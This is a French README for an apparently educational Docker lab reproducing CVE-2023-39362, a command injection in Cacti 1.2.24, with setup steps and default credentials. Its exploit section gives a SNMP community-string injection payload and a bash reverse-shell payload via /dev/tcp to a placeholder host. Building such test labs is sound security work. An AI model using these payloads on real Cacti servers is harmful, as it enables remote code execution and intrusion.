Application vulnérable à l'injection de commande authentifiée Cacti v1.2.24 (CVE-2023-39362)

Ceci est une application vulnérable permettant de tester l'exploit de la vulnérabilité Cacti (CVE-2023-39362).

AVERTISSEMENT !

Cette application contient de graves vulnérabilités de sécurité. Exécutez-la à vos propres risques ! Il est recommandé d'utiliser un environnement sauvegardé et isolé (comme une machine virtuelle avec un instantané récent et un réseau host-only). Ne déployez pas cette application sur des serveurs exposés à Internet, car ils seront compromis.

AVIS DE NON-RESPONSABILITÉ : Je décline toute responsabilité quant à la manière dont cette application est utilisée par quiconque. Cette application n'a pour seul but que de servir de scénario de test pour l'exploit CVE-2023-39362 et elle ne doit pas être utilisée à des fins malveillantes. Si votre serveur est compromis par une installation de cette application, cela n'engage pas ma responsabilité, mais celle de la ou des personnes qui l'ont téléversée et installée.

Informations sur la vulnérabilité

• CVE-ID : CVE-2023-39362
• Lien : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39362
• Description : Dans Cacti 1.2.24, sous certaines conditions, un utilisateur privilégié authentifié peut utiliser une chaîne malveillante dans les options SNMP d'un périphérique, réalisant une injection de commande et obtenant une exécution de code à distance sur le serveur sous-jacent.

Utilisation

Voici les étapes pour configurer l'environnement :

1. Lancez docker compose up -d pour démarrer la composition.
2. Vous pouvez finaliser les étapes en accédant à http://127.0.0.1/cacti pour démarrer l'assistant d'initialisation de Cacti. Si vous obtenez une erreur relative à la base de données, attendez un peu puis actualisez la page.
3. Les identifiants par défaut sont admin/admin.
4. Cliquez sur « Next » pour tous les boutons de l'assistant, en choisissant les options en conséquence. Toutes les valeurs par défaut devraient convenir et toutes les conditions préalables obligatoires devraient être satisfaites.
5. Après l'installation, connectez-vous en tant que admin.
6. Allez dans « Console » > « Configuration » > « User ».
7. Cliquez sur l'utilisateur guest.
8. Activez l'option « Enable », définissez un mot de passe, désactivez « Must Change Password at Next Login » si vous le souhaitez.
9. Cliquez sur le bouton « Save ».
10. Allez dans la section « Permissions ».
11. Sous « General Administration », activez « Console Access » et « Sites/Devices/Data ».
12. Cliquez sur le bouton « Save ».
13. Déconnectez-vous puis reconnectez-vous en tant que guest pour tester l'exploit.

Le conteneur s'appellera vuln-cacti.

Le nom d'hôte d'un périphérique SNMP de test est monitored_snmp_device.

Pour démanteler l'environnement, utilisez la commande docker compose down.

Le guide d'installation officiel de Cacti est disponible ici.

Cause racine

Une analyse détaillée de la cause racine de la vulnérabilité est disponible dans l'avis de sécurité original ou dans mon article de blog.

Exploit

(Ceci n'est qu'un exploit possible)

1. Allez dans « Console » > « Create » > « New Device ».
2. Créez un périphérique qui prend en charge SNMP version 1 ou 2.
3. Assurez-vous que le périphérique possède des Graphs avec un ou plusieurs modèles de :
   • "Net-SNMP - Combined SCSI Disk Bytes"
   • "Net-SNMP - Combined SCSI Disk I/O"
   • (La création du périphérique à partir du modèle « Net-SNMP Device » satisfera à la condition préalable des Graphs)
4. Dans « SNMP Options », pour le champ « SNMP Community String », utilisez une valeur comme celle-ci : public\' ; touch /tmp/m3ssap0 ; \'.
5. Cliquez sur le bouton « Create ».
6. Vérifiez sous /tmp la présence du fichier créé.

Pour obtenir un reverse shell, une charge utile comme la suivante peut être utilisée.

public\' ; bash -c "exec bash -i &>/dev/tcp/<host>/<port> <&1" ; \'

Auteurs

• Antonio Francesco Sardella - rapporteur de la vulnérabilité - m3ssap0

Licence

Ce projet est sous licence Unlicense - voir le fichier LICENSE pour plus de détails.